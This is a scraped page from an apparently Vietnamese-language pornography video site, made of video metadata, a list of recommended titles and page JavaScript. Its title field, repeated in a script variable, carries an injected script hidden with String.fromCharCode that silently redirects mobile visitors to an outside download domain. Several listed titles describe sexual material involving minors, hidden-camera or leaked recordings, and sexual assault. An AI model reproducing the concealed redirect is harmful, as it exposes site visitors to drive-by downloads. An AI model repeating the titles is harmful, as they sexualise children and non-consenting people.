</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Cuộc Khám Phá Hoa Của Đặc Vụ Bí Mật Hoàng Gia: Một Gia Đình Chân Thực, Bia và Thịt Nướng, Cận Cảnh Bạn Gái Đại Học, Tình Dục Ly Kỳ, Tiếng Rên Rỡ Đầy Đam Mê và Tiếng Rên Rỡ Quyến Rũ</title></script>

Ngẫu nhiên

Video được đề xuất

Cuộc Khám Phá Hoa Của Đặc Vụ Bí Mật Hoàng Gia: Một Gia Đình Chân Thực, Bia và Thịt Nướng, Cận Cảnh Bạn Gái Đại Học, Tình Dục Ly Kỳ, Tiếng Rên Rỡ Đầy Đam Mê và Tiếng Rên Rỡ Quyến Rũ","site_id":0,"video_url":"https://lsbbf10.com/20260705/Nm660602/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZjc3ZmYwMTgyMTUyMGZjNTNjMDc4YjEwMTdmYzg0MWMuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"9.0","view_count":49,"description":"Nữ điệp viên bí mật của Đế chế, một cô gái trẻ thực sự đoan chính, thích uống bia và ăn kebab với bạn gái thời đại học. Những cảnh quay cận cảnh cô ấy âu yếm và làm tình nồng nhiệt, kèm theo những tiếng rên rỉ quyến rũ.","tag":["Đặc vụ bí mật của Đế chế","Tantan","Tân Hoa","thực tế","Một gia đình thực sự tốt","Gia đình tốt","bia","Trường đại học","sinh viên đại học","học sinh","Bạn gái thời đại học","Bạn gái","Cận cảnh","tát tát","Niềm đam mê","Say đắm","Bốn phát bắn","kêu van","Hấp dẫn"],"site_url":"313342","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["精品推荐"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZjc3ZmYwMTgyMTUyMGZjNTNjMDc4YjEwMTdmYzg0MWMuanBn.cache","maker":"","table_name":"videos_yutuzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"大内密探探花真实良家啤酒配烤串大学生女友相伴近景抠.穴啪啪激情四射呻吟诱人","s_keywords":"大内密探探花真实良家啤酒配烤串大学生女友相伴近景抠.穴啪啪激情四射呻吟诱人","s_description":"Cuộc Khám Phá Hoa Của Đặc Vụ Bí Mật Hoàng Gia: Một Gia Đình Chân Thực, Bia và Thịt Nướng, Cận Cảnh Bạn Gái Đại Học, Tình Dục Ly Kỳ, Tiếng Rên Rỡ Đầy Đam Mê và Tiếng Rên Rỡ Quyến Rũ","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTcvYzRiMjU0ZjI2MjJlOWQzN2M2Njc4ZGIyMGRiZjcxOWQuanBn.cache","vod_id":19154948,"title":"Cảnh nóng trong xe hơi - Quan hệ tình dục và xuất tinh, tài xế giàu kinh nghiệm đưa bạn gái đến suối nước nóng để quan hệ, cực kỳ kích thích!","lastmod":"2025-09-16","duration":"1:38:29","url":"/play/19154948.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjdlMmM2M2M1ZTVkZmExZWY2MGVkNGI1ODgxMThhOWMuanBn.cache","vod_id":19175621,"title":"Nếu bạn say sưa với \"Komatsu-an\" - một bộ phim tài liệu về tình dục thực sự, thể hiện những ham muốn tình dục hoang dã - Komatsu An CEMD-774","lastmod":"2026-01-22","duration":"2:11:41","url":"/play/19175621.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDMvY2QxMzk2ZWJiMmNmYmJhMTMxYmUzN2VmOWU2NDg2YjYuanBn.cache","vod_id":19152477,"title":"Cảnh ân ái đồng tính nữ hiếm hoi, những nụ hôn nồng cháy và sự quyến rũ không ngừng.","lastmod":"2025-09-02","duration":"0:07:49","url":"/play/19152477.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDk2OGIzZDlhYjVkMDliYjVlZDJmMDc4MWFiNzY4ODMuanBn.cache","vod_id":19188414,"title":"Ảnh selfie khoảnh khắc cao trào của cặp đôi: biểu cảm được ghi lại hoàn hảo và tiếng rên rỉ du dương.","lastmod":"2026-03-23","duration":"0:16:01","url":"/play/19188414.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZjg0YTc4NTdkM2JhOTJhNmUwM2YxYjk0MmM1N2NhOWMuanBn.cache","vod_id":19111127,"title":"Loạt phim \"Học giả xuất sắc\" - cuộc gặp gỡ tình một đêm tại khách sạn với một gái gọi gợi cảm, cô gái mặc quần tất đen quyến rũ liên tục la hét.","lastmod":"2025-03-26","duration":"0:42:19","url":"/play/19111127.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOTkzNzY5NGQwMDM5YWE2NjFmZDg1MjhlMTRiOGJjNzYuanBn.cache","vod_id":19189897,"title":"Một nữ sinh trẻ trung, duyên dáng và vui vẻ, đang tìm kiếm khoái lạc, đã cùng bạn trai trải qua những khoảnh khắc thân mật và tận hưởng trọn vẹn niềm vui.","lastmod":"2026-03-31","duration":"0:52:40","url":"/play/19189897.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTY4NDM3MTNkYmJjMjJhZjc5YTdjYzNhYTFlYjNlYzIuanBn.cache","vod_id":19108992,"title":"Nữ streamer xinh đẹp \"Little Darling\" khát khao đến mức quyến rũ một anh chàng giao đồ ăn để quan hệ tình dục trước mặt mọi người.","lastmod":"2025-03-26","duration":"0:25:43","url":"/play/19108992.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDMvYjEyODNiZDc5YzJmYjk0MzNkNmNiN2QwYmZjN2YxMjguanBn.cache","vod_id":19129715,"title":"Giáo viên nữ x học sinh nữ: Cuộc chiến đồng tính nữ bị cấm đoán trong khuôn viên trường. Momoi Anami, Tachibana Hinano. RCTD-490-C.","lastmod":"2025-04-03","duration":"1:44:43","url":"/play/19129715.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9zYnp5dHBpbWc0LmNvbTozNTE5L3VwbG9hZC92b2QvMjAyNjAyMTgtMS80OTNhZGZmZTkzYTE0OGExNmZkYWM0N2Y5MWU3NDAzMy5qcGc=.cache","vod_id":19180969,"title":"Một nữ sinh trung học mảnh mai đã tung ảnh chụp cảnh cô và bạn trai đang quan hệ tình dục nồng nhiệt trong một căn hộ thuê.","lastmod":"2026-02-18","duration":"0:06:06","url":"/play/19180969.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTlmOTJjMGZhNGE5NWRmNTIwODM1M2MyMmQ3YTVkMjkuanBn.cache","vod_id":19126188,"title":"Nữ sinh viên đại học bị SSNI400 quấy rối tình dục sau đó đã có một cuộc gặp gỡ tình ái thân mật với tôi.","lastmod":"2025-03-26","duration":"2:32:37","url":"/play/19126188.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MjIvYjdhM2NiNzE4ZWM5Y2ZmNmQ0N2E1ZDlmNzg0Y2FlMzUuanBn.cache","vod_id":19150616,"title":"Những bức ảnh được chọn lọc hàng đầu - Nữ thần chân dài trong quần jeans, quan hệ tình dục một cách tàn bạo với đôi chân dài vắt trên vai.","lastmod":"2025-08-21","duration":"0:33:31","url":"/play/19150616.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTU0YWY0YzcxNGNiYzk0YzQxMjZlODNmOGQxMThkZGMuanBn.cache","vod_id":19102336,"title":"Dom - Khóa huấn luyện cơ bản cho học viên bị ngạt thở!","lastmod":"2025-03-26","duration":"0:23:30","url":"/play/19102336.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZGVmMmRiM2RjNTJlMDc1NTc1M2Q1MDE5NDQ4ZGU3NzkuanBn.cache","vod_id":19184081,"title":"Các video quay lén bị rò rỉ cho thấy giáo viên hướng dẫn nữ sinh viên đại học cách quan hệ tình dục, trong đó giáo viên ra lệnh cho các nữ sinh hướng bộ phận sinh dục của họ về phía mình.","lastmod":"2026-03-03","duration":"0:07:54","url":"/play/19184081.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZmFkMWRhYmVjM2M4NWYzOTc2YTFjYzI3ZWEwZmMzNDIuanBn.cache","vod_id":19196478,"title":"Cuộc tình vụng trộm giữa nhà giàu thế hệ thứ hai và fKabuto, một cô nàng lẳng lơ hạng sang với khuôn mặt hoàn hảo xuất hiện trong nhiều cảnh nóng.","lastmod":"2026-05-02","duration":"0:37:04","url":"/play/19196478.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZGRhMmViM2E2YmY0MmNiNzY4NzE4MThhZmYyNDczYjQuanBn.cache","vod_id":19202162,"title":"Cô gái trẻ mặc áo trắng và quần bó màu hồng có sức quyến rũ tuyệt vời; thân hình tròn trịa, gợi cảm của cô ấy thật tuyệt khi được chạm vào, với những đường cong và vóc dáng ma mị. Chúng tôi ra vào mạnh mẽ, tận hưởng cuộc giao hợp mãnh liệt.","lastmod":"2026-05-30","duration":"0:29:55","url":"/play/19202162.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMGIwNTQ5ZmZjOTNmYjQzY2JlNjUxNDdkZGY2ZmE4MTEuanBn.cache","vod_id":19125903,"title":"MRSS147CNTR Vợ tôi đang ở nhà nghỉ trong thời kỳ rụng trứng và bị một nam sinh viên đại học hung bạo xâm hại tình dục nhiều lần.","lastmod":"2025-03-26","duration":"1:58:57","url":"/play/19125903.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDU4MjgwY2NlMDM1NWY3MTRlODQ4MTgyZWJkYjEyMDYuanBn.cache","vod_id":19189157,"title":"Tuyển tập các video ghi lại hoạt động tắm rửa, thủ dâm và tự chụp ảnh hàng ngày của một nữ sinh đeo kính có vẻ ngoài ngây thơ.","lastmod":"2026-03-27","duration":"0:10:29","url":"/play/19189157.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MzAvNjA1MjE2ZDIxY2ZkYWIxYjc3MjE4OTZiODkxMWM3NDcuanBn.cache","vod_id":19151816,"title":"Buổi phát sóng trực tiếp \"PaPa Show\" tràn ngập tiếng cười và niềm vui; giới trẻ thật sự thích vui chơi.","lastmod":"2025-08-29","duration":"0:26:42","url":"/play/19151816.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MjIvZjM4YmI3N2E2ZWVhMTRmMDQzZGQ1MjNiZWZhZGFhZmIuanBn.cache","vod_id":19145260,"title":"Anh bạn tình có dương vật to nắm lấy dương vật của mình một cách say đắm và cưỡi lên nó ở tư thế giao hợp.","lastmod":"2025-07-21","duration":"0:28:07","url":"/play/19145260.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMmM3MTYxNTY2YWQ5MDk0NmZjNjExYmQzZGRkYzc2YTkuanBn.cache","vod_id":19183359,"title":"Vụ bê bối tình ái của một sinh viên đại học liên quan đến say xỉn, tấn công tình dục và đăng tải lên mạng đã dẫn đến việc bị từ chối và chia tay.","lastmod":"2026-02-28","duration":"0:01:08","url":"/play/19183359.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MjcvODY0YTQ1MDlhYjFiMzIzYTczMjc5ZDExMmUzMjU5NDMuanBn.cache","vod_id":19141048,"title":"Hậu môn của một bé gái loli dễ thương đầy tinh dịch; một nữ sinh loli dễ thương tự thỏa mãn với \"con hổ trắng\" của mình.","lastmod":"2025-06-26","duration":"0:15:59","url":"/play/19141048.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTBmYmEyOWJiYjZjM2MwNDJiODRjMDU0YjJhODRmZWEuanBn.cache","vod_id":19103986,"title":"Tôi đã quan hệ với một phụ nữ trẻ đã có chồng; vòng ba nhỏ nhắn của cô ấy thật tuyệt vời để ôm và làm tình. Cô ấy thở hổn hển và rên rỉ khi tôi thúc mạnh vào cô ấy hai lần liên tiếp!","lastmod":"2025-03-26","duration":"0:34:59","url":"/play/19103986.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYmFhN2Q4YWQzYmU3YTRhMGViYTBjN2QwNGMwOTRmNTguanBn.cache","vod_id":19187963,"title":"Bộ sưu tập này gồm 10 bức ảnh được lựa chọn kỹ lưỡng về nữ thừa kế giàu có, fKabuto, thể hiện lối sống trái ngược của cô. Mỗi bức ảnh đều là minh chứng hoàn hảo cho vẻ đẹp tự nhiên và trí tuệ của cô, thu hút cả những người phụ nữ thuần khiết và quyến rũ. Với vẻ ngoài lộng lẫy, vòng eo thon gọn và vòng ba quyến rũ, bộ sưu tập này không thể thiếu sức mạnh tài chính.","lastmod":"2026-03-21","duration":"1:24:59","url":"/play/19187963.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzk3Yjc3Y2E2NTdjYmFlZTVlYTFkY2Y0ZTdlNzdhMjYuanBn.cache","vod_id":19032527,"title":"Góc nhìn sắc nét của chuyên gia AV về những cô gái hạng sang đang quan hệ tình dục, những cô hầu gái gợi cảm trong trang phục hở hang, cận cảnh không che đậy những động tác thúc đẩy, cưỡi ngựa và làm tình mãnh liệt.","lastmod":"2025-03-26","duration":"2:41:01","url":"/play/19032527.html"}]}, videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Cuộc Khám Phá Hoa Của Đặc Vụ Bí Mật Hoàng Gia: Một Gia Đình Chân Thực, Bia và Thịt Nướng, Cận Cảnh Bạn Gái Đại Học, Tình Dục Ly Kỳ, Tiếng Rên Rỡ Đầy Đam Mê và Tiếng Rên Rỡ Quyến Rũ</title></script>', language: 'vi', dataKey: '01', loadingPlayer: true, showShare: false, pageUrl: '', // RecommendedMovies 组件状态 isSingleColumn: false, pageSize: 8, currentPage: 1, // 计算属性(使用 getter) get layoutIconClass() { return this.isSingleColumn ? 'icon-view-list' : 'icon-grid'; }, get layoutClass() { return [ 'row', 'g-3', 'row-cols-1', this.isSingleColumn ? '' : 'row-cols-2', 'row-cols-lg-4' ].filter(Boolean).join(' '); }, // 方法 onAppMounted() { // 设置页面 URL this.pageUrl = window.location.href; // 保存观看历史 this.saveWatchHistory(); // 更新标签统计 if (this.videoData.tag && this.videoData.tag.length > 0) { this.updateTagStats(this.videoData.tag); } // 发送点击统计 this.hitVideoId(this.videoData.id); // 从 Cookie 读取布局偏好 const layoutCookie = this.getCookie('list_layout'); if (layoutCookie === 'single') { this.isSingleColumn = true; } // 监听 iframe 加载完成,隐藏骨架屏 // 使用 setTimeout 确保 DOM 已完全渲染 setTimeout(() => { const iframe = document.getElementById('v2-player'); const skeleton = document.getElementById('player-skeleton'); if (iframe && skeleton) { // 定义隐藏骨架屏的函数 const hideSkeleton = () => { skeleton.style.transition = 'opacity 0.3s ease'; skeleton.style.opacity = '0'; setTimeout(() => { skeleton.style.display = 'none'; }, 300); }; // 检查 iframe 是否已经加载完成 if (iframe.contentDocument || iframe.contentWindow) { try { // 如果 iframe 已加载,直接隐藏骨架屏 if (iframe.contentWindow.document.readyState === 'complete') { setTimeout(hideSkeleton, 500); return; } } catch (e) { console.log('[Video] 跨域 iframe,无法检查状态:', e.message); // 跨域情况下无法访问 contentWindow,继续监听 load 事件 } } // 监听 load 事件 iframe.addEventListener('load', () => { console.log('[Video] iframe load 事件触发'); setTimeout(hideSkeleton, 500); }); // 添加超时保护,确保骨架屏最终会被隐藏 setTimeout(() => { if (skeleton.style.display !== 'none') { console.log('[Video] 超时保护触发,强制隐藏骨架屏'); hideSkeleton(); } }, 5000); // 5秒后强制隐藏 } else { console.error('[Video] 未找到 iframe 或 skeleton 元素'); } }, 0); }, // 随机跳转 async jumpToRandomVideo() { try { const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, { headers: { 'x-data-key': this.dataKey, 'x-api-key': 'dagexxx.com' } }); const data = await response.json(); if (data?.status === 1 && data?.data?.id) { window.location.href = `/${this.language}/play/${data.data.id}.html`; } else { console.error('获取随机视频失败:', data?.message || '未知错误'); } } catch (err) { console.error('获取随机视频失败:', err); } }, // 复制分享链接 copyShareLink() { const input = this.$refs.shareInput; if (input) { input.select(); input.setSelectionRange(0, 99999); // For mobile devices // 尝试使用现代 API if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(this.pageUrl).then(() => { alert('Đã sao chép liên kết!'); }).catch(() => { // 降级到旧方法 document.execCommand('copy'); alert('Đã sao chép liên kết!'); }); } else { // 降级到旧方法 document.execCommand('copy'); alert('Đã sao chép liên kết!'); } } }, // 切换布局 toggleLayout() { this.isSingleColumn = !this.isSingleColumn; this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30); }, // 加载更多 loadMore() { this.currentPage++; }, // 保存观看历史 saveWatchHistory() { try { const storageKey = 'watchHistory'; let history = JSON.parse(localStorage.getItem(storageKey) || '[]'); // 解码 HTML 实体编码的标题 const decodeHtmlEntities = (text) => { const textarea = document.createElement('textarea'); textarea.innerHTML = text; return textarea.value; }; const video = { id: this.videoData.id, title: decodeHtmlEntities(this.videoData.title), image: this.videoData.images || this.videoData.preview, duration: this.videoData.duration || '' }; // 过滤掉已存在的相同 ID 视频 history = history.filter(item => item.id !== video.id); // 添加新记录到最前面 history.unshift(video); // 限制最多保存 100 条 if (history.length > 100) { history = history.slice(0, 100); } localStorage.setItem(storageKey, JSON.stringify(history)); } catch (e) { console.error('Failed to save watch history:', e); } }, // 更新标签统计 updateTagStats(tags = []) { // HTML 实体解码函数 const decodeHtmlEntities = (text) => { const textarea = document.createElement('textarea'); textarea.innerHTML = text; return textarea.value; }; const storageKey = this.dataKey + 'tagWatchStats'; const lastWatchedKey = this.dataKey + 'tagLastWatched'; const raw = localStorage.getItem(storageKey); const stats = raw ? JSON.parse(raw) : {}; // 解码标签并统计 const decodedTags = tags.map(tag => decodeHtmlEntities(tag)); decodedTags.forEach(tag => { stats[tag] = (stats[tag] || 0) + 1; }); localStorage.setItem(storageKey, JSON.stringify(stats)); localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags)); }, // 点击统计 hitVideoId(id) { fetch(`/api/qun/hit?type=play&id=${id}`, { method: 'GET', headers: { 'x-data-key': this.dataKey, 'x-api-key': 'dagexxx.com' } }).catch(err => { console.error('点击统计失败:', err); }); }, // Cookie 工具方法 getCookie(name) { const value = `; ${document.cookie}`; const parts = value.split(`; ${name}=`); if (parts.length === 2) return parts.pop().split(';').shift(); }, setCookie(name, value, days) { const expires = new Date(Date.now() + days * 864e5).toUTCString(); document.cookie = `${name}=${value}; expires=${expires}; path=/`; } }; }
友情链接